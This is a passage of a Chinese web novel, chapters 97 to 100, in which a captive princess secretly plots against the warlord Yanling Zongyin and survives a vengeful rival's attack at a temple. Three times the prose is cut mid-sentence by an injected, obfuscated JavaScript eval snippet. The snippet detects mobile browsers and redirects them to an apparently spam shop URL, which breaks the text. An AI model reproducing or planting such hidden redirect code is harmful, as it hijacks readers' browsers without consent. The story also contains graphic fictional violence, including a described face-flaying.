那小伙计不是别人,正是本应该在建康的贤宁公主。 再见到活生生的纯懿,她终于可以表露出刚才一直压抑着的喜悦,奔上前来:“纯懿姐姐!” 两人重逢,本来都有许多话想说,可时间紧迫,也不能细细倾诉。纯懿拉着贤宁坐下,简明扼要将自己的计划告诉了贤宁,叮嘱道:“延陵宗隐派人盯着那蒙古王子,你们接近蒙古人时一定要小心,千万不能惊动他。” “明白。”贤宁点头,大体想想,已然有了初步计划,“红白食楼的掌柜是我们的人,有两间楼上楼下的雅室暗中相通着,我们可以将那蒙古王子引去店里,通过密道与他接触,绝不会被人发觉。” 纯懿点头,将那食楼名字记在心里,然后起身:“外面还有人在等我,我先出去了,你们注意安全。过几日我再命人给那些乞丐送饭,咱们还在这里碰面。” “姐姐,”贤宁急忙拦住纯懿,提议道,“这里不安全。下次我们在红白食楼碰面,通过密道来往,比这里要隐秘得多。” 纯懿有些心动,想了想,却还是摇头:“延陵宗隐一定也派人盯着我。他那个人,多疑又敏锐,如果发现我与蒙古王子去过同一个地方,很可能会起疑。我们不能冒这个险。” 贤宁想了想:“那我们在宝珠衣铺见。那里是我们在上京的一个暗点,店里都是我们的人,绝对可以放心说话。” 纯懿点头,两人甚至顾不上再多说一句,便分头离开。 纯懿缓步走出恭房,看塞里仍旧板着脸守在门口,一副随时准备破门而入的神情,不由失笑:“我有点不舒服,今日就先回吧。” 到了晚上,延陵宗隐果然出现在纯懿的房中,闲聊般问了她都去了哪里,又买了些什么。而待夜深回到主院时,早有今日跟着纯懿的暗卫整理了一份名册,将纯懿今日去了什么地方、又见过了什么人,事无巨细,列得清清楚楚。 快速浏览一遍后,延陵宗隐指尖轻点桌面,沉声吩咐:“这些地方,全部都派人盯住了,接下来的几日,每家店都有谁去了,一个不落,每日列个单子给我。” 黑塔答应了下来,自然去安排。 后面几天,纯懿并没有再出门,可每天晚上,都会有一摞厚厚的名单放置于延陵宗隐的桌上。 直到七日后,纯懿再次出府了。 她这天倒是目标明确,逛得都是一些首饰铺子和衣裳铺子。在一家名叫“宝珠衣铺”的店里,纯懿一边随意翻看着挂出来的成衣,一边与旁边的绣娘轻声说着话,塞里凝神听去,讨论的都是一些尺寸和花样子,似乎对这家铺子的衣裳很是喜欢。 果然,不一会儿,纯懿就选定了四套衣裙,由那位绣娘抱着,一起去里间试穿。 帘子刚一落下,扮做绣娘的贤宁便立刻露出笑容来,上前拉着纯懿的手:“姐姐,我们与那蒙古……” 她的话才刚开了个头,就被突如其来的一声呼唤打断了。一道低沉的男声从外传来,几乎只与她们隔着薄薄一道帘子。 “阿陌?” 纯懿一个哆嗦,几乎要将手里的东西扔出去。 延陵宗隐! 延陵宗隐怎么会出现在这里? 98. 第 98 章 里面沉默了太久,延陵宗隐便皱了眉头,挥手命外面的人退开。待围在门口的人都被亲卫们驱逐着远离了这里,他也不管里面在做什么,直接掀开帘子,阴沉着一张脸大步而入。 入眼的却是白花花一片肩背。纯懿背对着门口,里裙已经褪下一半,领口正虚虚挂在腰间,露出线条柔美的肩颈线条和白皙纤瘦的后背。一条红艳艳的细带子正挂在她脖颈处,又在她形状优美的蝴蝶骨下交缠,白皙和艳红的对比,晃得惊人,让本来气势汹汹的延陵宗隐目光不由暗沉了几分,脑中就回想起他曾经是如何撕开这一片薄薄的布料,将她滑腻的身躯尽数掌控于掌中…… 纯懿的惊呼却打断了他旖旎的遐想。她飞快将衣裳重新披在肩上,遮去了外泄的春光,俏颜半露,带着嗔怒:“做什么?还不快出去?” 延陵宗隐这才意识到她在里面做些什么。他少见的有些尴尬,视线就朝着抱着一堆衣裳,垂头站在旁边的绣娘看去,对着她颔首:“你,过来。” 为了掩去情动的喑哑,延陵宗隐刻意压低了些声音,却不自觉就带上了些威压。那绣娘似乎是被他气势吓到,身子微微颤了颤,这才转过身子,拖着脚步朝他靠近。 延陵宗隐视线从那绣娘脸上划过,落在她怀中的衣裳上:“都撑起来,让爷看看。” 那绣娘呆了呆,急忙应了,手忙脚乱选了一件衣裳举了起来,尽力给延陵宗隐展示着衣裳的全貌。因着那衣裙带着华丽的拖尾,绣娘双臂高举都不能将它彻底展开,只能踮起脚尖,高昂着头,用指尖挑着那衣裳的领口,立在延陵宗隐面前。 延陵宗隐看了看,觉得的确不错,又示意:“下一件。” 绣娘依次将每一条衣裙都高高撑起,延陵宗隐也饶有介是挑选了一圈,甚至还上手触了触那衣裳的料子。 绣娘将双臂举得更高,全身都藏在衣裳之后。 延陵宗隐看完了衣裙,再看站在旁边拢着衣襟的纯懿一眼,没话找话地开口夸赞那绣娘:“手挺稳啊。” 听他突如其来的一句夸赞,纯懿掌心已经全都是汗。贤宁是练兵的人,臂力自然强于普通姑娘,所以才能长时间撑着衣裙都毫不颤抖。延陵宗隐竟然连如此细节都能发现,纯懿不由暗暗心惊,生怕他由此起疑,发现不对来。 纯懿摆出一副羞恼交加的样子,斜睨着延陵宗隐,故意刺他:“试件衣裳你都要闯进来盯着,怎么,你这是担心我与谁私会吗?” 正正好戳中延陵宗隐内心隐秘。 他的确是疑心纯懿今日出来别有目的,尤其是那天晚上宫中匆忙一瞥的那个背影,不管他怎么回想,都觉得很像陆双昂。 现在进来看一圈,屋内除了纯懿与这绣娘,也没有个藏人的地方,应该是自己多疑了,倒是平白惹了纯懿的怒火,延陵宗隐轻咳一声,默默转身退了出去。 可还是觉得自己面子上输了。路过那绣娘时,他摸出几块儿碎银子,随手抛给绣娘,刻意加重了语气,要求道:“好好服侍贵人。” 延陵宗隐的身影已经消失很久,屋内纯懿和贤宁二人仍是维持着最后的姿势,一动都不敢动。又等了一会儿,确认延陵宗隐是真的离开了,贤宁这才缓缓吐出一口浊气,纯懿身子微微晃了晃,手臂撑住桌面才堪堪站稳。 纯懿不由万分庆幸,延陵宗隐只见过几年前的贤宁。后来虽然也与贤宁在战场上遇到,可双方都戴着盔甲,又隔着重重距离,延陵宗隐是看不清贤宁的相貌的。 至于在临安时,徐结为了对纯懿下手,故意支开了贤宁,倒是因祸得福,让两人避开了去。若不然,恐怕今日一碰面,贤宁就要立时暴露了。 可延陵宗隐就在外面,她们还是不能掉以轻心。纯懿的手仍在颤抖,胡乱套了一身衣裙在身上,又小心将剩下几件衣裳统统摞进贤宁怀里,遮挡住她的脸,这才收拾了心情,带着贤宁走了出去。 延陵宗隐果然守在外面,正在与塞里说话。看到纯懿换了新衣裳出来,他上下打量她一圈,微微颔首,对塞里吩咐道:“付钱。” 然后又走到纯懿身边,帮她整了整匆忙间有些松散的披帛,将她揽入怀中,凑近她白皙小巧的耳垂,含笑耳语:“就这些吗?没有别的入眼的了?” 纯懿根本不在乎什么衣裳,只想尽快离开这里。她做出一副余怒未消的样子,一把推开延陵宗隐,轻哼了一声,提着裙摆自顾自走了。 延陵宗隐自觉心虚。他重新在店里打量了几圈,又点了几件风格类似的衣裙出来,让绣娘一起包起来,这才转身,循着纯懿离开的方向而去。 险些被延陵宗隐逮了个正着之后,纯懿再不敢轻举妄动,也不再出门了,每日只照常跟着延陵宗隐一起去书房议事,下午就待在自己的院子里,作作画、煮煮茶。 反倒是延陵宗隐,似乎对她这么快就对定礼失了兴趣有些不悦,不时问她为什么不出去采买东西了,甚至还有几次主动带着纯懿出门,亲自陪在她旁边,将她之前停留时间较久的店铺又逛了个遍。 只进了几家,纯懿就隐隐察觉到延陵宗隐选择铺子的玄机。她心下暗惊,延陵宗隐显然从来都没有放松过对她的监视,此时再来,也不过是另一种试探。 纯懿便更加小心谨慎,断掉了与贤宁或是陆双昂的一切联系,甚至连嘉荣帝姬那里,她都有意避着。也因此,纯懿对于计划的进展甚至是陆双昂他们的安全都一无所知,只能将担忧掩藏在心底,每日更加仔细地去听延陵宗隐议事,试图从繁杂的信息中寻找到些许有用的线索。 而不管纯懿如何焦躁不安,婚仪正有条不紊地推进着。纯懿站在屋檐下,看着一箱一箱的定礼被抬进她的院子,珠宝、首饰、绸缎、茶叶,甚至还有两只被刷的洁白的小羊羔,只觉得眼前的热闹都漂浮在半空中,不真实到可笑。 正在恍惚间,院内忽然一阵喧嚣。小羊羔趁牵着绳子的人不备,撒开蹄子在院子里乱跑,这边拱一拱,那边撞一下,还踢倒了一个衣箱,在精致的绸缎上踩下几个黑蹄印,惹来众人一阵惊呼和追逐。 小羊羔似乎被这阵仗吓到了,胡乱跑了几圈,闷头冲着纯懿的方向而来。 眼看着就要冲到纯懿面前,一个人影忽然出现,从旁边飞扑而上,将那乱跑的小羊羔压在地上。国字脸的中年汉子抬头看向纯懿,一脸朴素的笑容:“帝……娘子,都是小人办事不力,没看住这小崽子。您没受惊吧?” 纯懿没被小羊羔吓到,倒是对于这汉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660702|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的忽然出现有些惊讶:“你是……安武顿?” “正是小人。”安武顿笑呵呵地点头,将那瞪着一双水汪汪、黑溜溜的眼睛看着两人的小羊羔交到侍卫手上,对着纯懿郑重行礼,“郎主看重今日定礼,特意命小人开阵,将这些礼箱送来。郎主就在后面,马上就到,娘子稍候。” 说罢,他双手捧上一份装裱精美的小册子,举到纯懿面前:“这是定礼礼单,还请娘子过目。” 纯懿对于这些东西没有兴趣。她只侧头,吩咐塞里接过来好好保管。 安武顿却避开了塞里伸来的手。他执着地半跪在纯懿面前,甚至还将那册子举得高了一些,诚恳道:“还请娘子亲自过目。” 他在“亲自”二字上加重了些语气,微笑看着纯懿。 纯懿对上安武顿的眼眸,忽然猜到了什么。她的心剧烈跳动起来,在塞里的目光中缓缓上前一步,从安武顿的手中接过册子,妥帖安放入袖中,微微颔首:“多谢,我会仔细看的。” 安武顿露出了个笑容,站起身来,后退着离开。 小羊羔被人带了出去,延陵宗隐也脚步匆匆地赶来。他脸上带着些急切,几个大步就走到纯懿面前,双臂搭上她的肩头,视线在她全身逡巡一遍,沉声询问:“受伤了吗?” 纯懿维持着面上的镇定,缓缓摇头:“没有。没事儿的。” 延陵宗隐再三确认,纯懿的确没有受到惊吓,这才放下了心,两只大掌捧上纯懿的脸颊,拇指轻柔在她唇畔摩挲:“东西还合心意吗?” 纯懿躲过他极富侵略性的目光,朝着院中摆的满满当当的箱子投去一眼,这才转回视线:“满意的。” 然后又强调:“特别是那两只小羊羔,很可爱,我最满意。” 延陵宗隐有些诧异的挑眉,心思一转,立刻就明白了纯懿的用意。 他英俊的脸庞靠近纯懿的脸,喉中带着低沉的笑意:“怎么,怕我宰了那俩小东西?” 纯懿也含笑回望他:“是你的风格,不是吗?” 延陵宗隐大笑出声。他大手揉揉纯懿的发顶,心情很好的换了个话题:“定礼册子看了吗?” 纯懿笑容微不可查地一僵,只觉袖中装着的那册子重逾千斤。看安武顿刚刚那意思,她猜测册子里一定藏了什么东西,而这东西用这么隐秘的方法传递进来,恐怕绝不能被延陵宗隐发现。 “我倒要看看,这小羊崽子叫什么名字,竟然能得了阿陌你的青眼。”延陵宗隐还在催促,心情很好的样子,甚至还在调侃自己,“不然我也改个名试试?” 纯懿将紧张慌乱全部藏于心底。她在延陵宗隐胸膛上轻搡一把,眼波流转:“哦?它们不是一个叫宗隐,一个叫肃鹴吗?” 将纯懿这简单的两句话在心里琢磨了一遍又一遍,延陵宗隐笑容微僵。这话中隐含的意思让他欣喜若狂,可又让他难以相信、患得患失。 延陵宗隐喉间发紧。他两只大掌不自觉就用了些力气,将纯懿的小脸抬起一些,视线牢牢锁着纯懿的双眸,似乎是想从她的瞳孔中看到她的内心。 “你欢喜它们吗?”延陵宗隐声音低沉,几乎是气音,“不管是宗隐,还是肃鹴,你欢喜他们吗?” 99. 第 99 章 纯懿笑容未变,很是自然地点头:“喜欢啊。” 对上延陵宗隐骤然明亮的眸子,纯懿慢慢道:“白白嫩嫩、可可爱爱的,又无辜又无害,怎么能不喜欢呢?” 她似乎完全没听明白延陵宗隐的意思,真在说那两只小羊。 延陵宗隐视线在纯懿精致又天真的面庞上流连,然后侧头一笑,不知怎么的,纯懿竟从中看出了些嘲讽来。 她却没有继续解释,仍然站在原地,微笑看着延陵宗隐。 延陵宗隐也没再说什么。他站直了身子,将双手从纯懿肩头移开,覆在纯懿后脑,用力揉乱了她的头发,然后颔首:“外面风凉,回去吧。” 回到了屋子,关上门窗,纯懿这才察觉,她脊背已经几乎被冷汗浸湿。可纯懿也顾不得换件衣服,从袖中将安武顿递给她的定礼册子拿了出来,小心翼翼地打开。 还真的是本定礼册子,上面一行一行列着许多东西,纯懿认认真真看过去,那些珍宝的名字却一点儿都没进了她的眼。 一直翻到最后一折,果然有一张夹在其中的小纸条轻飘飘掉下。纯懿将那装裱精致的定礼册子随手一抛,只去看那张小纸条。 上面的字迹潇洒俊逸,虽然带着些纯懿不熟悉的凌厉和刚硬,可藏于其中的少年洒脱和意气,却是纯懿最熟悉不过的。 是陆双昂。他现在很安全,虽然与她并不在同一个地方,却一直与她走在同一条道路上。 纯懿视线就有些模糊了。她将那张小纸条看了又看,许久之后,才恋恋不舍地将它悬于灯烛之上。跳跃的烛火吞噬了这张字条,闪烁的火光映在纯懿眼中,生动又坚定。 天佑寺是上京城内香火最旺的古刹,里面有一尊将近十丈高的佛像,据说极其灵验,全上京上到王族显贵,下到市井小民,有了什么喜事丧事,都惯例要去向菩萨敬个香火,求个保佑。 纯懿在正殿外停住脚步,对着紧跟在她身后的塞里道:“我有话想对菩萨说,你留在这里。” 说罢,自己一个人跨过了高高的门槛,迈入大殿之中。 那佛像果然极其高大,纯懿将脖子仰到最高,也只能看到菩萨丰腴的下巴,和垂下的满是慈悲的眼。纯懿昂首看了一会儿,在佛前蒲团上跪下,闭上眼睛,双手合十,将额心抵在指尖,很是虔诚的姿态。 旁边传窸窸窣窣的声响,又有香客走了进来,跪在纯懿旁边。极轻的声音从旁边传来,伴着声声佛钵,清晰落入纯懿耳中。 “姐夫已经派人回临安,征得了陛下的支持,我们也见到了蒙古王子,他对这个计划很感兴趣,但是提出要见制定这个计划的人。”贤宁跪在纯懿旁边,也紧闭着双眼,双手合十置于胸前,双唇几不可查地翕动,“我们没告诉他是你,但是我们觉得,他似乎是猜到了。” 纯懿动作丝毫未变,轻启双唇:“他没有证据,只能是怀疑。” “蒙古王子说,他可以说服蒙古大汗与南庆联手,但是他提出,为了表示双方合作无间,要求庆蒙互派使臣入对方军帐担任监军。” 纯懿稍一沉吟,立刻就明白了蒙古王子的意图:“什么监军,其实就是人质。” 贤宁和陆双昂自然也明白。她叩首,额头接触到冰凉的地面,声音也有些瓮瓮的:“我们同意了。南庆应该何时撤军,这个时机很难把握,姐夫会亲自去做监军,确保虞娄不会被蒙古所灭。” 纯懿脊背一僵,拜佛的动作差点就绷不住。 “不行。”她急道,“我们一旦撤军,蒙古被我们从背后插刀,他们恼羞成怒,第一个要拿来泄愤的就是监军。昂哥哥他还得指挥陆家军,他不能……” 贤宁直起身子,苦笑:“我们都知道。我已经劝过姐夫了,但是他说,这是一次至关重要的合作,却又是一次注定要背叛的盟约,他一定得亲自前去,才能放心。” 纯懿心中乱糟糟的。陆双昂要前去蒙古军中做人质,这到底有多危险,又有多艰难,她简直不敢细想。可还没等她想出一个足以说服陆双昂的理由,从那佛像的背后忽然传来一阵兵戈之声,紧接着,一群兵卫蜂拥而出,将大殿内的纯懿和贤宁团团围住。 纯懿和贤宁都是一惊。贤宁下意识就站起身来,要将纯懿护在自己身后,可纯懿却在看到满脸愤恨、提刀而出的人时,悄悄拽了拽贤宁的衣袖。 “躲起来。”她轻声道。 一句话的功夫,唐括额尔已经走到了全副武装的兵士们的最前面。她曾经明艳动人的脸庞现在已经泛着褐黄色,满头的小辫也乱蓬蓬的,手上和胳膊上甚至还有不少伤口,就连一个眼眶都是乌青的,显然是过得非常凄惨。 而这凄惨也让她的怒火和恨意更加高涨。唐括额尔冷笑着,将贤宁推搡道一边,用手中大刀的刀背拍着纯懿的脸颊:“纯懿帝姬。” “延陵宗隐不是把你保护的很好吗?怎么你还落单了?”她绕着纯懿转圈,桀桀的笑,表情狰狞,着实有些可怖,“听说你们已经过了什么乱七八糟的好几礼了?从奴隶一跃成了王妃,真是恭喜你啊。” 她凑近纯懿的脸,语气怪异:“从我手里抢走的男人,是不是用着格外的爽利?” 那种五脏六腑尽数灼烧的痛苦还历历在目,纯懿再面对唐括额尔时,曾经那种介入她的感情的愧疚已经消失无踪。纯懿甚至还能微笑着回答她的问题:“是还不错。” 唐括额尔的表情更加扭曲,五官都变了形:“他搞来那个跟你长得像的女人时,我还以为他是寻到了替代品,对你也不过如此。可谁知道,他竟然是让她替你去死!” 想到当时那副可怖的场景,唐括额尔仍然忍不住打了个哆嗦:“你知道把一个活生生的人的面皮剖开,拉扯着皮肉,调整成另一个模样,有多痛苦吗?那个女人的哀嚎惨叫,整个地牢都听得清清楚楚。纯懿帝姬……” 她的大刀架上纯懿脖颈,咬牙切齿道:“我的男人对你那么用心良苦,你感动吗?你不是很恨他吗?是不是就是因为这个,所以你才死心塌地要跟着他的?” 纯懿大概知道,延陵宗隐将她从南庆带走,是用了一个替身的,可她却从来都不知道,延陵宗隐竟然是用了这般可怖的手段,才得到了一个足以以假乱真的替身。 有一个人,为了她可以活着,生生受了这般非人的折磨,又为了她可以活着,冠着旁人的名号死在了异国。 稍微想象一下唐括额尔描述的那般场景,纯懿只觉浑身发寒。她视线越过包围着她的兵士,看到正拼命反抗的塞里和护卫们,竟然笑出了声来。 “感动?”她重复一次唐括额尔的话,眸光一寸一寸冷了下来,“那是一个活生生的人。她并没做错什么,却被迫替一个从未谋面的人去死。今日是她,明日就可能是你或是我,这有什么好感动的?” “我更觉他冷血狠辣,残忍暴虐。”纯懿看向满身狼狈的唐括额尔,轻笑着反问,“所以,这样的男人,你到底喜欢他什么?” 喜欢延陵宗隐什么? 唐括额尔竟然有些出神。他是虞娄最强的男人,她喜欢他强悍,喜欢他强大到似乎无所不能,更痴迷沉醉于她想象中、被他护于羽翼之下的感觉。 可她却从来都没想过,她可能并不是那个被他保护的人,而是那个被他牺牲抛弃的人。 甚至被抛弃的不止是她,还有她的整个家族。 唐括额尔的神色再度疯狂起来。她将大刀朝着纯懿的脖颈更加用力地一压,看到血线浮出,这才觉得畅快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671653|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一些:“我的舅舅死了,被延陵宗隐杀了。我的族人全都丢官入狱,也是延陵宗隐下的命令。可我们本来是一家人的,这一切都是因为你!都是因为你!” 唐括额尔嘶吼着,刀刃在纯懿脖间划出几道深浅不一的伤口。 不远处,塞里在奋力拼杀之后,终于艰难靠近了些她们。她一眼就看到纯懿脖颈间的伤口,顿时目眦俱裂,厉声喝道:“唐括额尔!郎主马上就到,你敢伤害娘子,是不想活了吗?” “我本来也活不了了!”唐括额尔眼睛瞪得极大。她眸中都是血丝,只剩下疯狂之色:“我用我自己的身子做交换逃出来,来这里找到她,就没想活着回去!延陵宗隐不是喜欢她吗?不是为了她杀了我全族吗?我就是要拉着她一起死!让她为我唐括全族陪葬!” 她的嘶吼戛然而止。三支锋利的羽箭从唐括额尔背后射来,竟将她的身体生生穿透,箭尖穿胸而出,在她胸前迅速晕开大朵大朵的血花。 可却还没完。又是一阵破空声传来,一箭穿过她的手腕,经脉尽断,手指失力,让她再也握不住那柄大刀;另一箭穿过她的大腿,强迫她整个人后退几步,膝盖一软,整个人都跪在纯懿面前。 最后的两箭,精确击穿了她的脖子,几乎将她脖颈生生折断。 血源源不断从唐括额尔浑身伤口中涌出。她已不能再动,五指却还不甘地痉挛着,弯曲成爪朝着纯懿的方向抓来,似乎是从黄泉中伸出的满挟怨恨的鬼手,不将她也扯落入地狱,永不能安息。 纯懿看着唐括额尔,那个明艳到甚至有些跋扈的姑娘,那个对延陵宗隐满腔痴情的准王妃,最后却以这样一种堪称惨烈的姿态,带着无尽的怨恨离开了人间。 她只觉得很冷,冷到了骨子里,让她忍不住战栗。 一个高大炙热的身躯靠近了她。延陵宗隐的脸上还带着勃然的怒气,眼中嗜血杀意还未散尽,甚至连一眼都没看唐括额尔,一脚就将她的身子踹到旁边,越过她走到纯懿面前,双手急切握上纯懿的肩膀:“还好吗?” 他的声音低沉暗哑,声线微微颤抖,手指想要去抚纯懿脖颈间几道狰狞的伤口,可在将要触到那些鲜红的血珠时,却悬在虚空不动了,一时竟然不敢去触碰她冰凉的肌肤。 发觉她整个身子都在颤抖着,延陵宗隐急忙将她揽入自己怀里,又扯下大氅,将她裹得严严实实的,手掌轻拍她的后背,不知是在安抚她,还是在安抚自己:“对不起。没事儿了。别怕。我们回去。” 他轻松就将纯懿打横抱起,大步穿过人群。周围乱糟糟的,有延陵宗隐的亲卫,有唐括额尔带来的兵士,还有刚刚与纯懿一起被困的香客,延陵宗隐的眼中却只有纯懿,在他怀里乖巧窝成一团,微微颤抖的纯懿。 忽然,两根纤细的手指捏上他的衣领。延陵宗隐急忙垂眸:“怎么了?” “我从来没有杀过人,甚至连小动物都不忍心伤害。”纯懿看着延陵宗隐,脸上还带着从唐括额尔身上溅出的血,眼睛极大,声音却轻轻的,很是空洞,“可是现在,延陵宗隐,我已经满身都是血污和罪恶。” 在这样的目光下,在这样甚至都算不上指责的陈述下,延陵宗隐双唇紧抿,竟然第一次生出了些想要逃跑的心。 他隐忍着将视线转向旁边,在周围拥挤混乱的人群中一一划过,努力平息着胸膛中汹涌的痛意。 然后,他紧了紧环抱着纯懿的手臂,沉默着大步朝寺外而去。 可是不对,似乎有哪里不对。 延陵宗隐尽力平稳着步子,刚才的一幕幕却在脑中飞快回溯。兵戈、嘶吼、鲜血、混乱的人潮,最后定格在一张有些熟悉的脸上。 是她! 衣坊的那个绣娘! 100. 第 100 章 冷静下来以后,纯懿仔细反思过,她着实不应该说那样的话。虽然那的确是她的真心话没错,可错在她不该在那个场合、在那个时间,对延陵宗隐袒露出她内心的不忿和怨怼。 纯懿本以为,依着延陵宗隐的性子,他会对于她的不识抬举很是愤怒,不知又要想出些什么狠厉法子来出气,可这一次,延陵宗隐却似乎将满腔的怒气全都发泄到了唐括家上。 唐括兀术做了国相那么多年,政敌也不少,在他落魄没多久,就被对家派来的死士杀于府中。虽然这件事明面上与延陵宗隐没什么干系,可以纯懿对他的了解,就算那死士不是他派去的,刻意为他们大开方便之门也定是少不了的。 毕竟,延陵宗隐从来没有什么一笑泯恩仇的胸襟,向来都是有仇就报,且要加倍的报,直到彻底出气为止。 连可以称得上对他有恩的唐括国相都死了,彻底惹怒了他的唐括家其余人的下场,自然也不会多好。 唐括额尔被他当场射杀,死状凄惨,唐括家的男人们之前已经入狱,本来只是关在里面等待审判,可这事一出,他们贪赃枉法、草菅人命的证据却突然如雨后春笋一般涌现而出,然后被执掌刑狱的官员以快到诡异的速度一一审结完毕,当即宣判,竟然是连远房亲族和所属部曲都尽数牵连其中,一个都没能逃掉。 虞娄五大部族之一、出过六任王后的唐括家就此消没。 唐括家合族覆灭的当晚,延陵宗隐来了纯懿的房间。他似乎是刚从刑场上回来的,并没有靠近纯懿,只是站在门口,一双黑眸比夜色还幽暗,定定看着她,里面暗潮汹涌,浑身带着的血腥气味浓厚到屋里的纯懿都清晰可闻。 “阿陌,满身都是血污和罪恶的人不是你,是我。”他的声音低沉,凉意森森给,“唐括家灭了大庆,现在他们已经死绝了。你解气了吗?” 纯懿沉默许久。她的声线柔和,可听在延陵宗隐耳中,却不知怎么得,比夜色还凉。 “你也灭了大庆,甚至是你率军攻入了汴京。”纯懿直视着与她相隔而立的延陵宗隐,气息紊乱,一字一字都分外清晰,“最该死的人是你。” 这下换延陵宗隐沉默了。他没有发疯,甚至连发怒都没有,竟然还轻轻扯了下唇角,露出一个嘲讽的笑容来:“我不会死的。” 延陵宗隐的身后是黑蒙的夜色,前方的纯懿却立于光明之中,让他控制不住地想要扑进她的光明里面去,或是将她拉到他的黑暗之中来。他缓缓摇头,强调道:“阿陌,我不会死的。你受过的苦,流过的泪,我一样一样,全部还你。” 处置完唐括家之后,延陵宗隐将全部精力都投入到了和谈之中。他甚至接受了几个南庆本来没报什么希望的条件,唯一的要求就是尽快签定和平协议,与南庆达成盟约,然后,将南庆使臣统统送走。 面对突然变得如此好说话的延陵宗隐,南庆使臣在受宠若惊之余,竟然还在签字前的关键时刻分裂成了两派。一派认为,延陵宗隐最近不知是撞了什么邪,竟然如此好说话,一定得趁着他脑子不清楚的时候,见好就收,赶快签订盟约,回国复命。 可另一派人却颇有些自得起来。他们坚持认为,延陵宗隐一定是被他们的大国气派所摄,现在是他延陵宗隐在求他们议和。延陵宗隐能退让一步,就能退让第二步,每与他多要一点好处,回去就能多挣个大大的功绩。 南庆两派人争执不休,因着实在无法达成一致,两次在签约前反悔,要求虞娄多给一些时间商议。第一次延陵宗隐忍了,第二次延陵宗隐也忍了,可在南庆使臣第三次没有如约出现在定盟现场时,延陵宗隐冷笑一声,二话不说,直接派人围了南庆使臣暂居的别院,用全身荷甲、披坚执锐的兵士将他们“请”了出来,强按着主使大人的手签了契约。 然后,他甚至连打包行李的时间都没给他们留,将南庆使臣们点清数字,确认一个没少之后,派人将他们从王宫直送到了上京城外。 这边送人,那边还很是贴心地命人去了别院,把南庆使臣们的东西囫囵一卷,一车载到城门外,统统丢到了正破口大骂的使臣旁边,就算是欢送他们离开了。 这般雷厉风行、嚣张强势的做派,终于让南庆使臣们清楚意识到,延陵宗隐还是那个草原狼主,他给你好脸色的时候,你最好赶紧听话,永远都别想着要过去摸摸他的毛发。 他会一掌拍碎你的脑袋。 纯懿听闻南庆使臣灰溜溜离开虞娄的事情之后,很是怒其不争,在屋里生了好几天的闷气,连带着对延陵宗隐也没有好脸色,要不就是故意与他呛声,要不就是干脆闭门不见。几天下来,延陵宗隐强撑着的耐心终于渐渐告罄,脸色一日比一日难看,显然正处在理智即将崩断的边缘。 纯懿对此甚至还有些庆幸,觉得这下延陵宗隐要不就是顾不上,要不就是没心情,应该有一段时间不会张罗那婚事了。 可谁知,下一个吉日到来时,延陵宗隐的聘礼还是送到了她的面前。 若是说之前的定礼已经很是丰厚,这次的聘礼就可以说是穷奢极尽了。两箱子黄澄澄的金元宝在阳光下闪着耀眼的光,镶嵌着各色宝石的头面成套成套的堆在一起,贴着螺钿的华丽家具流光溢彩,两只被红绸裹着的大雁也是活力充沛,眼神中带着桀骜的野性,显然也不是寻常的家雁。 延陵宗隐一身玄色皮袄,双手背在身后,两条长腿分开与肩同宽,身姿挺拔,笔直站在院子正中,听那穿红着绿的喜婆口若悬河地啰嗦: “贵人真是好福气,看看这大雁,啧啧啧,可是郎主亲自去猎的。贵人可别小看这雁,可凶狠着咧,扑下来就啄人眼睛,连黑熊都不怕呢!” 喜婆眉飞色舞的,手脚一起比划着,不住说延陵宗隐的好话:“咱们郎主是什么人啊,那么重的大弓也能拉开,箭无虚发,一箭就将这野性难驯的畜生射下来了!别说普通人射空箭篓子也射不中了,就说咱们郎主怕伤了皮毛,还用的是圆头箭!啧啧啧,那英勇,那威风……” 纯懿微笑着开口:“听您这形容,郎主射雁的时候,您在旁边看着呢?” 那喜婆就噎住了。她张口结舌,看看笑得温婉的纯懿,又偷瞟冷下脸的延陵宗隐,急忙收拾了心情,转而去介绍那些聘礼: “贵人看看,咱们郎主的聘礼备得多用心!都是郎主亲自挑拣的,全是顶好的东西,看看这三金的重量,看看这宝石的成色……” 纯懿这次甚至都没有耐心多听。她打断了那喜婆的话,径直拿起一副头面看了看,含笑点评 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678890|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“造型俗套,雕工粗糙,只有重量实诚……倒也的确是贵重。” 喜婆又噎住了。 可能是南庆使臣可以称得上是屈辱的离开让纯懿心情不畅,今日的她是从来没有过的刻薄,喜婆说一句,她就凉凉的拆台一句,延陵宗隐的脸就更黑一层。到了后来,整个院子已经没有人敢再开口,就连舌灿莲花的喜婆也是冷汗涔涔,出口的每一个字都在微微颤抖。 